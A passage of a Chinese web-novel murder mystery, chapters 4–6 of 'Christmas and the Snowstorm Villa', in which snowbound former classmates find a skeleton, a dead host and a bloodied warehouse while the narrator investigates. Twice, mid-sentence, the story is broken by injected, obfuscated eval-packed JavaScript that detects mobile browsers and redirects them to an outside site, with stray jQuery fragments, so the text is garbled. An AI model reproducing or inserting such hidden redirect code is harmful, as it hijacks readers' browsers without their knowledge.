“对的。”小二点头,“她在厨房忙,我在二楼收拾屋子,这里虽然有管理员但说实话还是不太干净,现在你们闻不到,但我们刚来时这里灰尘味很重的… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296723|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 所以这屋子应该很久没人来了,管理员也不是什么都管,小象点了点头,又问道,“你知道网络可能是出了什么问题吗?” “…可能是断电了?”小二不确定地说,“这件事应该是她管,毕竟场地是她租的。”她指了指晃悠悠的小一,“网络之类的也是她负责,但你也看到了…” 小象转头,看见了傻笑着的小一。 “能不能泼盆水让她清醒一点?”小五烦躁地问,“都这个情况了…” “先,先等等吧!”小二连忙阻止道,“强行叫醒喝醉的人很危险,说不定她一会就醒了呢?而且,而且网络不就是经常莫名其妙断线的东西吗?不要急,说不定明天早上自己就好了。” 听了这话,小四稍微冷静了一些。 “一会什么一会啊!”小五却是更生气了。小象发现她相当急躁,比起小四因异常情况所表现的不安,小五捧着手机的样子像是股票软件无法刷新数据的股民,恨不得自己现场建一个信号塔出来。小四和小二见此状况纷纷离远了些,留她一人在原地踱步。 没什么能问的,小象回到小三身边,问道,“你进屋前有发现什么吗?” 小三一边翻东西一边回应,“发现这里没有监控摄像头。” “…好吧。”小象不觉得这个是好消息,又问道,“现在呢?” 现在没有,过去一段时间后,小三像是终于找到了目标一般开始有规律地撬动木材,很快,漆黑碳夹带出来了另一个漆黑的玩意,并不是骨头。她脱下装备擦了两把脸,又捏着夹子,将还散发着热气的巴掌大不明物体翻开了。 不是头骨,那是一个有些焦了的钱包,翻开后内容物几乎完好无损,小象回头看了眼还在吵网络问题的三人和醉鬼,又看向了钱包中被抽出的银行卡,姓名一栏写着小六的名字。 “…那,她?”小象看向地上的骨头。 “…我…”小三额头密布冷汗,看上去想把手上的东西丢回火堆里。 或许不应该把这件事告诉她们,小象刚这样想,小四便已然凑上前,并查看了钱包内的银行卡信息,随后,呆楞在原地。 所有人都知道了火炉中找到了小六的钱包,以及地上这具尸骨大概率还挺新鲜的,这两个事实。 钱包中除去一些银行卡,就只有现金和几张过期许久的票据。现在比起钱包,地上的骨头更吸睛也更可疑了些。 “…如果说,这个,这个人真的是小六。”小三看上去头很痛,但还是看向更头疼的小二问道,“你们需要给我们一个解释。” “抱歉…”小二只是一个劲道歉,整个人看上去要晕过去了,“我不知道,我真的不知道,我,我们以为她,她不来了的,她没在,我就,我——” 面对这前言不搭后语的回答,小四气急,按着对方的肩膀直视对方双眼说道,“什么都不知道?你们怎么可能什么都不知道,她不就是——” 很快,她就因为意识到了一个可能性而停了下来。 “如果。”小象忽然灵机一动获得了一个推理,她迫不及待地说了,“我说如果,小六在你们,小一小二去接小三小四的时候来到了屋内,并想制造惊喜而故意没有告知你们,结果在这段时间里,被那个小五目睹的陌生人影杀死了,有没有可能是这样?” 众人一时沉默。见没人信任她,小象有些失望。 “…太心急了吧。”小三沉默后开口,“这个人是否是小五还不能确定。而且,真要这样说的话,那——” “那不如干脆说是我杀的?”小五不耐烦地打断道,“你想说这个?怎么可能,我和她高中毕业后就没再联系过,干什么要杀了她?” “我没有这个意思。”小三匆忙解释,“我是想说,如果这骨头真是小五,那犯案人要把尸体变成,这样,说实话,很难的。” 地上只有骨头,血肉内脏神经毛发脂肪排泄物黏液以及眼球,你们都去了哪呢? “…额。”小四一顿,随即跑向厕所,“呕——” “…得报警。”小三摇了摇头说,“有别的办法联系外面的人吗?” “我记得这里有卫星电话,但在仓库那边。”小二小声开口道。 从主屋到仓库有一段约二十米不到的小路,但现在屋外不适合人类行走,几人面面相觑,谁都不知道该如何离开暴风雪山庄。 4. 圣诞节与暴风雪山庄-中-2 慌乱一阵用以安心后,几人终于冷静了下来,她们坐回桌边,火炉还在工作,但其乐融融的气氛终究是回不来了。 “首先我们必须先搞清楚这具尸骨到底是谁的。”小三做了领话头的那个人,她看上去很有主意。 如何确认一具尸体的身份?小象想了想,说道,“如果这具尸体真的是小六,无意冒犯,这样的话我们找出真相会方便很多。这样的话…她如果来了肯定会带行李,我们可以搜搜这栋屋子。” 小三听后点了点头,其余几人也纷纷点头同意了。 小六肯定是自己开车来的,停车场上两辆无主车,一辆属于小五,而另外一辆—— “停车场上那辆SUV是你们的吗?”小象问小二。 “是小一的。”小二点头,“这里就只有我和小四不会开车。” “小六如果是开车来的,那她的车呢?”小象问。 “…我不知道。”小二摇头,“这一块都是树林,她有意藏的话也能把自己的车藏起来。” 但藏车也是需要时间的,小象觉得对方很难抽空做好这些事再被杀掉。 “这件事稍后再说吧。”小三说,“我们先开始搜索,要一起行动,但…” 说着,她看向明显还神智不清的小一,“说实话,她一个人在这有点危险,而且她很可疑,我们得想个办法带着她。” “…我来背吧。”小五叹了口气,站了起来,“总之让她处于我们的视线范围内就行了吧?” “没错。”小三点头笑道,“那就麻烦你了。” “也希望能把网给修好…”小四默默道,“说实话比起真死了人,我更相信这是恶作剧,但我真不喜欢拜托停下吧!” 尸体没有复苏,小六没有跳出来道歉,搜查还得继续。 调查行动开始,小象对这种团体活动感到新鲜,感受之余,她总觉得这种做法对找出真相并无大用。一群人看着时,想仔细搜查些什么地方的话总归是不方便动手的,更别说这旁人还是自己的老同学,这种陌生的熟人关系在调查现场会拌人手脚。 不过反过来想也一样,若是旁人中有谁想做坏事,那这种情况下也难下狠手。 几人先是简单搜寻了一楼,客厅,厨房,储存间与厕所都没有可以藏人的角落,先前几人多次进出过一楼的各个房间,都表示没有注意到什么不对劲的地方。随即是二楼。二楼两排门,走廊空间因尖顶而显得额外暗沉,门后空间各为客卧,一人一间。所有的空房间都打开并接受检查,没有藏人的痕迹,接下来是各位的卧室。 首先是小一,作为第一个入住者也是派对举办者,她的屋内可用杂乱来形容,大量派对用品与生活用品平铺直叙地充斥房间各个角落,桌上有台笔记本电脑开着。 “说实话,太乱了吧…”小三翻开窗帘,小象顺势查看,按照方向,窗户朝这一侧的住户都能看见仓库与水井,但现在风景只有白茫茫的风雪。 笔记本电脑就在桌上,没链接电源也没合拢,但没人提出要翻看其中内容。小象随意看了眼,这是她熟悉的牌子,以电池性能优秀著称,解锁需要虹膜指纹密码三重认证,但也因重量而被消费者诟病。想起小一称自己是个摄影记者,她在屋内逛了一圈没找到相机,笔记本旁的充电插座上却有相机的充电线在。她回头看了眼四处搜寻的几人,并没有将这一点说出。 但相机的战利品——相册还在床头躺着,小象翻开了A5硬壳册,其内容物与人文不太相关,大多是天空,尤其是夜空,一片片夜间抬头后随处可见的景色被珍惜地框在一张张相纸上,被其主人在背面细心标注了位置与时间,以供随时回忆。小三注意到之后拿起相册看了许久,她眉头皱起,若有所思地看向不清醒的小一,却没开口说些什么。 “这个天气,即使是狼也不会出门吧。”小四看着窗外说道。 “同理,人在外头也会被冻死。”小五点头,“如果有人就只可能在屋内了,这算好消息?” “…算吧。”小二笑了笑,“至少我们这边人多一点?” 几人在小一屋内搜寻许久却没什么收获,离开时都沉默着。 接下来是小二的,这里整齐得像是个酒店房间,桌上放着手记本和一些书籍文稿,陈列规矩,似乎有隐形的规划线在拦着它们一般。生活用品被收纳在一个个小袋子里。这间房的窗户朝树林,此时也看不见什么自然美景了。 小袋子敞口,小象在其中看到了眼药水,并非常见滴眼液,而是些相当昂贵的眼部用药,却都过期了。 “你知道你眼药水过期了吗?”她转头问道。 “哦…”小二一愣,摆了摆手说,“那些啊,那些是我没舍得扔掉的,总想着能有什么用哈哈…”她掏出了自己口袋里的一次性滴眼液,“我自己用的在这。” 小象点了点头,没再说什么,但袋子内外的差距可大到令人怀疑,这人的眼睛会不会抱怨自己的待遇落差。 “过期眼药水有什么用?”小四好奇道。 “…其实也没什么用了。”小二说,“找不到丢掉的机会而已。” 说着,小二走到窗边,这里没被照顾到,落了些灰尘。 “这些窗户都能推开吗?”小象问道。 “可以。”小三点头,“不过那口子正常人都出不去,就手掌宽。” 接下来是小三的房间,她没收拾过自己的行李,一个行李箱孤零零地站在空荡荡的屋子内,没什么好看的。小四的房间同理,两间房被匆匆略过。 “这些门都有锁。”小象注意到这一点,“钥匙在谁手里?” “在一楼玄关那里,和大门,仓库门的钥匙放一块呢。”小二摆摆手,“我们都看着那一块,没人动过的。” “好歹算是有点保障吧…”小四声音有些无力,“假如说真有个杀人犯,希望那个人现在先好好待在仓库里。” 小五的行李箱在屋子里摊开,但也就仅此而已,她拿了自己需要的东西后就转身去拼自己的饼干去了。 “我以前就那样。”小五说,“拼东西的时候注意力特别集中。” “…小一也知道这一点吧。”小三说。 “可能?”小五不确定,“但我都不记得她了,她怎么会记得我?” 二楼的房间都被确认过没有异常痕迹,还剩的可疑点就只有仓库了。 “…我们真要去那?”小四忍不住劝阻道,“要不算了,我还是觉得这八成是什么恶作剧,要是真担心要出事,咱们今晚睡一块得了,明天小一醒过来后很多事都能问。而且今晚真要出门那才得出事吧!” “说实话我还是想尽快修好网络,得尽快让一切都回到正规上,不过这一点我也同意。”小五点头,“这种情况我们走不过去的,无论如何只能等明天了吗…” “对呀,外面好冷…”小二忧心地说,“现在积雪很厚了,照明不足,我们过不去的。” “…去把所有的钥匙带着,然后我们今晚一起睡在客厅,轮流守夜吧。”小三点了点头,“等小一醒了就问她,而且我记得天气预报说明天上午雪会停,到时候我们一起去仓库。” 小象没意见,决定好守夜顺序后几人便带着需要的东西和毯子去了客厅。 洗漱时,小三在角落里叫住了小象,似乎是有话要说。 “小一房间里的相册你看了。”小三眉头紧皱,“那些摄影图不是她的工作内容,而且她相机都没带,我看了她的手,比起摄影师更像是体力劳动工作者。” “记者也算是一种体力活吧。”小象疑惑道,“那些星空图有什么奇怪的地方吗?” “…大概率,不,我敢说百分之八十,小一在拍的并不是‘星空’,而是某颗特定的星星,而比起记者,她更像是在追着那颗星星跑。”小三神情严肃,“这个宗教起始于RNS的前作,它提出要对基因中携带一些倾向的婴儿进行药物管制,用于非致死性医学实验。它已经回炉重造了,但数据流出导致一些区域的医院,学校与实验室数据库遭污染。部分连接型装备的使用者潜意识里种下了这种逻辑,变得更极端,并将那颗星星视作RNS前身具象化。” “…你说,小一是邪教徒。”小象放轻了声音,她想了想小一的表现,和她印象中精神不正常的人是不太相似的,就又问道,“你有什么证据吗?” “没有…”小三叹了口气,“但那骨头的真实情况也没个准数,在我看来做这件事的人更像是想让我们害怕,真是的…这种情况下我们这样不就真的被困在暴风雪山庄里了吗?” 丧气结束,她又说道,“和你说这些是因为我觉得她很危险,她这样装疯卖傻可能是在拖延,我不确定比我先来的人是不是她的帮凶,我们,至少你小心点吧。” “…把她捆起来吧。”小象说,“我看见厨房里有麻绳。” “我也想,但以什么理由?”小三摊手。 “…我想想。”小象点头。 首轮值夜班的是困得要死的小四,小象趁她去厨房搜索食物与她交谈。 “我对高中时发生的事情都记不太清了。”小象坦白道,“你记得当时,我们几个有发生过什么矛盾吗?” “…高中生有摩擦很正常,但记仇到现在,还杀人?”小四一边煮咖啡一边嘟囔着,很快,她一顿,显然是想起了什么,看了看门口方向,轻声说,“其实还真有。你看小二现在这样还挺正常的吧,但记不记得,她高中的时候因为搞那种‘诅咒’被揭发,和同学打架,随后差点被退学?” “…还有这种事。”小象有些惊讶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296724|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“是高一的时候,她悄悄收集了同学的头发什么的做成那种,人偶。”小四神情复杂,“被翻出来交上去的时候,那个人偶几乎被血泡透了。” 说着,她看向小象,声音更轻了些,“诅咒的对象你猜是谁?” “…我真不知道。”小象说。 “是小一,想不到吧,根本就是莫名其妙的原因,我们都觉得可能是因为仇富什么的。”小四说着,轻笑一声,继续说道,“举报的人是小六,当时争抢现场小六打伤了小二的眼睛,让她差点瞎了。本来小二要被退学后送精神病院的,但小一给她说话,后来又和她做了同桌,才有了后来。我知道的不多,但如果说是小二那种神经病杀了小六,我是信的。” 回想起先前的场景,小二看上去完全没把旧恨放心上。 “…这样。”小象若有所思,“还有别的吗?” “没了没了。”小四挥手,“当我情报站吗?” 随后,她又强调说,“如果一切只是恶作剧,那我和你说的这件事你绝对不能说出去,知道了吗?大家几乎都不记得那时候发生的事情了,那么就让一切被忘记更好。” “我知道了。”小象想了想,问道,“你支持我们拿麻绳把特别可疑的人捆起来吗?” “你说小二?我倒是想。”小四想了想,摊手说,“别人不会同意的吧。” 现在出现了两个选择,但麻绳只有一捆,小象有些犹豫。 小四之后便轮到小象值班,她看着角落里被扫起来的白骨,还是好奇它的身份,思索还有什么办法能给尸体身份做鉴定。现在手头要人没人要工具没工具,尸体又是没脸的状态… 说起没脸,小象看向那桌上的钱包,钱包里没带照片的身份证,她们也没找到头骨,就像是有谁刻意要模糊确认死亡的分界线一般。 小象之后是小五,二人交接时顺势交谈。 “这都圣诞节了。”小五看了眼手机,苦笑道,“圣诞快乐。” “快乐。”小象点头,问道,“说起来,你当时一眼能认出那是人骨,那你有别的什么办法能鉴定一下尸体的身份吗?” “我又不是法医…”小五叹了口气,看了眼熟睡的几人,低声说,“我认得是因为,怎么说呢,我们工地上出过类似的事情。具体不多说,但如果那动手的真是个人,要短时间把尸体变成那样的骨头…我能想出的方法只有俩,一个靠高浓度化学药剂,一个靠剔骨。” 说到这,她摸了摸自己的胳膊,“无论如何…我还是倾向于这不是最近死的人,可能是…狼吃剩的?” 现在这种情况,这种想法居然都称得上是乐观的,小象不由得想笑,但她考虑到小五的心情忍住了。 “你是自己开车来的,那你有在来的时候见过园区里的其它人吗?”小象另起话题问道。 “…没。”小五说,“啧,说实话这个很诡异,我本来一直在外地,只知道几年前这儿还挺热门。按理来说圣诞节这人应该多一点的,但停车场你也见了,加上你也就仨车。” “会不会是暴风雪停止营业的关系?”小象问道。 “…那小一是怎么租的?”小五扯了扯嘴角,“她现在还这样,越想越可疑,你不这样觉得吗?” 二比一,麻绳选择了小一。 “以防万一,把她捆起来吧。”小象拿出了麻绳,“你之后值班的是小三,也让她看着点。” “…行,至少保险点。”小五点头,帮忙把小一捆起来了,她没有任何挣扎行动,但确实有呼吸起伏,浅而长,与醉酒者差不多。 小三值班已是清晨时分,待到最后小二值班时,醒得早的人已经要睁眼了。窗外大亮,雪色映天,看云朵数量天气不算晴朗,但风雪确实如约褪去了。 小象醒来时看见周围几位都还睡着,小二和小三不在,小一还被捆着没动静。她简单收拾了自己,起身去寻找这两位的踪迹。小二在厨房,似乎是在看着烧热水的柴火。小三在二楼,她摊开了自己的行李箱,正寻找着些什么,听到有人来迅速把箱子合上了。 “看来昨晚没人死。”小象点头,没管对方在试图遮掩什么。 “我昨晚我交班后就一直没睡,上楼找眼药水的。”小三解释道,“没有异常情况出现,小二有在厨房待一段时间,但小一…她到现在都还没醒吗?” “我没看见她睁眼。”小象说着莫名有些不好的预感,二人快速下楼来到小一边上,小三伸手试探,没想到那人就这样直挺挺地倒在了地上,没了气息。 噪音惊动几人,所有人都醒了过来,也知道了小一死去的事实。与那具恶作剧般的骨头不同,小一的尸体尚还完整,明晃晃地躺在地上等待腐烂过程开始。 慌乱之后,每个人看着周围的眼神都带上了怀疑。 5. 圣诞节与暴风雪山庄-中-3 昨晚捆绑小一时她还有气,那她就是在圣诞节之初死去的,小三带上手套将尸体扶起并解除捆绑,除绳索痕迹与略微浮肿外,她的身上没有任何伤口或异常反应,几人一时也不知道她是怎么死的。 “其实,她昨晚那样是异常的吧。”小三有些懊悔地说,“…我早该发现的,是中毒?酒精过敏?一氧化碳过敏?可恶…” 现场没有人有药理学或医学知识,所有人一时都束手无策,就连这是自杀,谋杀,还是意外都分辨不出来。 小二什么都没有说,只是看着小一的尸体发呆,小象想起她与小一的关系,不禁对其心里状态做负面预测。 “…我们得想办法出去。”小五捂住脸,“不能再继续呆在这了,我们,必须想办法回到正常的情况中去,不能被困死在这里。” “对啊!”小四慌忙说道,“得,得出去才行啊!” “…去仓库吧。”小三说。 “我去拿一下外套。”小象说着转身上了楼,路过小一房间时,她想再看看那邪教徒著作便又推门入内,路过笔记本电脑时其显示屏亮起,那电量数字令小象一顿,有人在昨晚使用过这台笔记本电脑,不仅仅是“试试密码”这样的尝试。 但小一昨晚根本不可能上楼才对。 带着思索下楼,小象在拐角处看见了小二,或许是光照不足,阴影内的她看上去几乎要和角落融为一体了。 “…我听说了。”小二开口,“是你提出要把小一捆起来的?” 小象站在楼梯口,下也不是退也不是,这也太尴尬了,她沉默片刻开口道,“抱歉,我…” “…我不是来责怪你的。”小二上前一步,把带着泪痕的脸暴露在灯光下,“我只是想告诉你,她的死不会是意外或者自杀。” 听那语气,小象明白这人有自己的怀疑对象,一时没有说话。 “…小一虽然大多情况下只拍自然景观,但那难以维持生计,更别提她还有些个人爱好。”小二声音压得很低,“偶尔,她会帮忙打探一些情报。最近一次,她拍到了某处工地中发生的事故,几个工人被牵连近了工地里的搅拌机。现在接近年末检验,组织者希望把这件事压下去,便将消息与尸体一起藏了起来。但小一她掌握了一些证据,在她的照相机里。” “…但她的屋子里没有相机。”小象说。 “在我这。”小二直言,“但想要这个相机的人是小五,就是因为她的疏忽而出现的事故,你也知道她拼东西时顾不上其它东西吧,没有信号联系不上外界,我猜她现在一定很急。” “…这样。”小象点头,“所以你觉得,可能是小五想得到相机或者干脆让小一闭嘴,所以才…” “恐怕不止如此。”小二冷笑,“她不会想让任何人知道这个消息的。” 小象沉默了。 “小五找不到相机肯定还会有所行动的。”小二说道,“如果你愿意的话,那就在她作出危险的事之前拦着些。” 小象点了点头,没再说什么,二人下楼与众人汇合一同前往仓库。不知是不是心中对小五产生了怀疑,小象现在看她总觉得她一直在东张西望地找些什么。 “怎么了,你丢东西了?”小四问道,看来不止小象一个人这样想。 “…没什么大事,我的眼镜盒不见了。”小五烦躁地说,“室内也就算了,出门的话我不带眼镜真看不清东西啊。” 这样说起来,小二,小三以及小五都有一定的视力问题,小象感慨现代社会对视网膜的荼毒。 “别管那么多了,你走后面吧。”小四催促到,“赶紧吧,我不想再多待哪怕一秒了。” 小五同意了,离开主屋前,小象又看了眼小一,她被放回了椅子上,看着与昨晚那个醉死的人没什么不同。但很快小象又注意到,小一的手机并不在她身边,桌上也没有,她直接开口问道,“你们谁看见小一的手机了吗?” 几人面面相觑,都否认了。 虽然可疑,小象也没再多问,现在去仓库要紧。 一夜之后,室外积雪几乎及膝,风一吹冷得要命。几人为准备干体力活都没带什么个人物品,只分别拿了雪铲,花了近两小时时间才勉强清理出一条通往仓库的路,可见若是没有机器帮助她们根本没有可能离开庄园。 来到井旁,小象注意到它虽然盖了石盖但没有锁,若是说有人想打开也是能做到的,但井边的一切痕迹都在大雪之后变得模糊不清了。 “这个盖子边缘还挺干净的,最近应该有人用过。”小三琢磨着说,“室内水管并没有出问题,是谁用了这口井呢?” “哦,这个啊。”小二探头,“之前刚来的时候,我们为了试试井能不能用就打了水,确实能用,不过温度到了零度就会结冰。” 目标在前,众人暂时没有打开井盖看看的想法,小三拿着钥匙,刚准备开仓库门就顿住了。避风沓下方风雪短暂退让,只有浅浅一层白色堆积,挡不住人,也挡不住那仓库门缝下方溢出的惨然血色,以及门板边界处异常的黑褐色,鼻尖适应温度后,几人这才闻到那愈发浓郁的腥臭。 小四“呜哇”一声后退了好几步,小二开始发抖,小五顿在原地一动不动,小三拿着钥匙,一时进退两难。 “…为,为什么会这样。”小四哭出了声,“这啥呀…这,这里面是啥呀?” 有时门会做一些剧透,例如,如果门板很烫,那里面应该有大火,同理,如果门下有血,那么—— “应该,只有木头而已才对。”小二脸色苍白,“我,我们昨天上午来拿柴火的时候还不是这样的…” 小三沉默许久,深吸一口气,开锁拉开了仓库门。腥臭与灰尘喷涌而出,几人不约而同后退一步,仓库深处确实堆满稻草木材,但那之前,靠近门边的空旷地面几乎被血染红了,那还没完全发黑的血液沾染顶梁柱与靠外的稻草堆,像是有什么充满血的东西在这里爆炸过。 但除此猩红之外,地面上什么都没有,几人眼前的是缺了血肉的屠宰场。 门外的人一时都忘记了呼吸。她们这才注意到,脚下的雪化了之后所露出的石板上也有血痕,踩踏者纷纷让道,让那血迹一路指向井口。 “…卫星电话在哪?”小象带上了外套自带的面罩,回头问道。 “就,就在边上。”小二扶着自己的膝盖说,“电锯旁边台子上就是。” 闻言,小象穿上门边的胶鞋,跨过门槛迈进血色中,她也挺想吐的,但现在她更想离开。 目的地明确,那边上就站着木制柜台,柜台上方放着与手机相比过分有份量的通讯装置,小象拿起,意外但也没那么意外地发现它的拨号键盘被砸坏了,而凶器——她转头,相当意外地发现,本该好好待在旁边的电锯不知所终,只有一把老斧头靠在那里,没沾血,刃还豁开了个可怜的口子。 门外又吵了起来,但却不是关于仓库中那一片血迹的,好像比起这过于血淋淋的真实,她们更倾向于谈论更安全的东西,比如说,小一的死。小二提起如果小一还活着的话就知道Wi-Fi出什么问题了,小四止不住地抱怨着自己就不该来这里,小三说着一些自己的推测,却遭到了小四的冷嘲热讽。 “找到了吗?”小五不耐烦的声音从门外传来。 就像不久前对于电源的疑问,所有次要话题都被停下,她们期待一个确定的回复。小象看向那孤独的斧头,如果卫星电话正常工作,那她或许该向那群完全不团结的人隐瞒危险武器丢失的情况,因为她们马上就能走了。但现在是最糟糕的情况,雪停了,仓库里看不见任何人,室外那“可能存在”的陌生人也不知是否在笑看她们争吵,她们必须提高警惕,或者尽快找出凶手。 但谁又知道凶手是谁,有多少个呢?这样想着,小象站在腥臭之中一时不知如何是好,呼吸都令她感到厌烦。 很快,她意识到了一件事——仓库门的钥匙应该一直待在她们眼皮底下才对,来时门上锁,那么卫星电话在她们,至少小三小四来之前就被砸坏了。小象思索着,带着被毁坏的卫星电话来到了屋外,众人当然是哗然一片,小四直接蹲地上开始哭了。 “我必须,我必须回去的…”小五喃喃自语,突然冲上前拎起了小象的衣领,怒道,“是不是你?!是你把卫星电话弄坏了吧!你怎么这么冷静?你,也是你让我们把小一捆起来的,你——” 小象呼吸不能。小五突然爆发的愤怒将现场的所有人吓了一跳,或许也不包括所有人,小象被摇晃时看见,小二沉着脸看着她们。 “冷静,冷静!”小三连忙上前阻止,“其实是我察觉到小一有不对劲的地方所以才——” 小五一挥手放开小象,将愤怒的矛头冲向小三,“所以是你?”说着,她突然冷笑一声,“我就说你怎么这么急着领我们上仓库,你就是想看见我们这样?你满意了?!你还想怎么样?我死给你看行不?” “咳咳——”小象咳了几下,站稳后才开口道,“她说小一有邪教徒倾向。” 几人都是一顿,小四抬起头,语气茫然,“这里怎么会出现这种东西…?” “…你有证据吗?”小二问。 “我见过!”小三连忙解释道,“来这个城市就是因为这件事,我,我其实接受了委托要找出这些邪教徒的,我——” “所以。”小二打断道,“是你杀了小一。” 小三呼吸一滞,在众人愈发怀疑的视线中连忙 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“可显得你聪明了?”小五说道,“现在小一死了我们该怎么出去?网也修不好了,你就说怎么办吧!” 在接连不断的指责下,小三什么也说不出来,她低着头沉默许久,再次抬起时,脸上什么表情都不剩下了。 “…真要说动机的话所有人都有可能有。”小三沉下了脸,“小一的手机是谁拿走的?我可是知道她要准备的‘神秘惊喜’是什么,那是一颗宝石,就在她的手机壳上。” 说着,她看向小四说道,“我们都知道了小一家里有钱,我知道的,你欠了债对吧?而你所在的公司专为珠宝公司做广告,你当然认得出那是真货。” 此言一出,边上的小五和小二都看向了小四。 我们都知道小一家里有钱?小象看向了小二,这位之前可不是这样说的。 “我,我没有!”小四肩膀一缩,“你好好想下,我怎么可能会为了这种事而杀人?!” “如果不是‘特意’,而只是想把人灌醉呢?”小三紧接着道,“她可能是死于酒精过量,而昨晚灌她酒最多的就是坐她边上的你!” 这一点确实是事实,几人有目共睹,小五忍不住质疑,“说起来,她的手机确实不见了,不会真的是是你拿的吧?” “…你…”小二也看向小四,说道,“你昨天一直有盯着她的手机看,没想到是这样…” “我…不是…我…”小四说不出话来,只是一个劲摇头,又一咬牙说道,“那这样说的话,岂不是只要是我们班上的人就有可能要杀她?你们想想看啊,我们不都成嫌疑人了?” 随即她又看向小二,高声道,“你可别装无辜啊!你当年做的事谁不记得?!” 眼镜之后,小二脸色没人看得清。 “你一直说自己什么都不知道,到底是真的还是想掩盖什么?”小五转头质疑道,“你是真不知道怎么修网,还是特意想把我们拖在这里?” “我真的不知道。”小二沉声说,“我有什么理由要这样做?” “当然有!”小四说,“大家听我说,如果是她准备杀死小一,那她当然希望有时间处理尸体,以及我们这群目击者吧?” 小二只是沉默地看着,小四一顿,但依旧坚持说,“可别说你没可能动手,不如说你是第一个来的,也能准备得更充分吧。” “而且你确实有动手的理由。”小三开口,“我记得你们大学之前的保险商因那起经济诈骗案破产了,新保险不包含眼科的任何医药费,但你袋子里的那种眼药水非常昂贵,而且保质期短。虽然我不知道你为什么要用那种药用的,但你确实缺钱,而且有前科。” 这样说来,小象注意到小二虽然带着眼镜,但在雪地里行走时没戴护目镜也并没有出现眼部不适的反应。 此言落下,现场的人都沉默了下来,但彼此之间的怀疑却是更加凝实,仿佛无形之中有一把被紧绷的弓,箭在弦上,随时都能被发射出去刺穿某个人。 “所以,现在的情况是,你们所有人都有可能是杀死小一的凶手,她可能是死于意外或者谋杀,我们一时也找不出缘由。那不如这里先放一放怎么样?”小象说道。 “你凭什么置身事外?”小二问道。 “…因为,其实我不是你们班上的人。”小象有些不好意思地看向了一旁,声音带着心虚,“我是小象,但不是你们的同学小象,只是恰巧在她废弃手机号码之后使用了这个手机号的,一个同名陌生人而已。” 几人一时都无话可说。 “…那你为什么要来?”小二沉默片刻后问道。 “因为,我对‘暴风雪山庄中的同学会’很感兴趣。”小象笑着说。 6. 圣诞节与暴风雪山庄-下-1 无论这一理由是否能取信于人,但事实确实如此,除非小象是个无差别随机杀人狂,她现在是唯一那个没动机杀死小一的人了。 在白茫茫的雪地之上,此时此刻,她获得了清白! “小一的死亡原因就交给警察吧,我们得想想怎么找到警察,而不是待在这里吵架。”小象说道,又补充说,“在保证安全的情况下找到警察。” 如果说有人蓄意破坏卫星电话和网络,那这个人是想做什么呢?问题不难回答,如果说有人想方设法要将她们置身孤岛,那这人毫无疑问是抱有恶意的,也大概率是尸骨与仓库内满地血腥的制造者。 “…如果说那个人故意把我们困在这里,又带着电锯。”小四说着抖了抖,“这人想干什么,想让我们都死在这吗?为什么?” “当然是为了灭口。”小二阴沉地看向小五开口道,“对吧小五?是你担心我们把你们工地上的事情暴露出去所以准备将我们全部拖死在这里,然后等雪停后自己开车跑走,没错吧?” “——怎么可能?!”小五退后两步,抬起手颤抖着指向小二,怒道,“你,你别血口喷人啊!” 在小二的指示下,几人之间的信任关系再次岌岌可危了起来。 “只有你能做到吧?”小二质疑道,“只有你,有动机,也有过独自一人待在这的机会,要我说那什么第三个人影也是你编出来混淆视听的!就是你!你之前就想好了要我们所有人死在这里!” “对,对啊!”小四也害怕地离小五远了些,“这样一说,先前说的那什么,是你把小六杀了什么的怕不是也是真的,就是你——” 小五大怒,“我都说了我只是——”说着她要就要上前拽小二的领子。 “离我远点!”小二惊怒道,“你这杀人犯!” “我没有杀人!”小五怒道。 “…捆起来。”小二喃喃自语,看向几人说道,“把她捆起来!等明天,明天雪化了点后我们就开路去停车场,然后我们就去警局!” “我没有杀人!!!”小五退后两步,咬咬牙说道,“好吧,我,我确实需要从小一身上获得些东西,但我绝不会为此杀人的!而且你根本没有证据!” 见几人又吵了起来,小象有些头疼。 “别吵了!”小三开口劝阻道,“要想修好网络,我们得先想办法找到制造麻烦的人。” “额…”小四似乎联想到了什么,捂住了胃部,随即它一愣,指向小五说,“这,这里能做到这种事的只有她吧?!我们根本不可能做这件事啊!我们没有时间或者力气去把一个人变成,那样!” 那样指骨肉分离,小象看向仓库,却是觉得有些蹊跷。地面上仅有的血迹也好,小一的死因也好,麻烦制造者似乎又在故意模糊死亡证明。若不是她亲手确认过小一的死亡,现在都要怀疑这又是她的恶作剧。 “我没有!”小五声嘶力竭道,“那种事情怎样都好,我现在只想快点出去!” 见几人又要吵,小象抬头看天想了想,如果说那具骨架本来相连着的其它部分还在某个地方,除了无从查证的山林中,就只能是下水道或者水井中了。这里不缺臭味,血痕也说明了些许嫌疑,井在结冰之后就不再能打起或吞下什么了,如果说是结冰后抵达这里的小五杀的人,那她只能把尸骨丢在冰上。 “我有个主意。”小象指向那口井,“我们试试看能不能打起一些东西吧,如果什么都没有,那至少能证明小五没有可能杀人。” “…你是不是推理小说看多了?”小三疑惑道,“井面没有东西什么都证明不了,这样做只是在浪费时间。” “…总之,总之试试看吧。”小象坚持道,“就一次,如果一次不行我们就想想别的办法。” “也行吧,总比吵架好,”小三叹了口气。 “…为什么不能是狼呢?”小二问,“有狼把尸体吃掉了,才留下这一地的血,骨头被——” “因为那是你提出来的东西不是吗?”小象说。 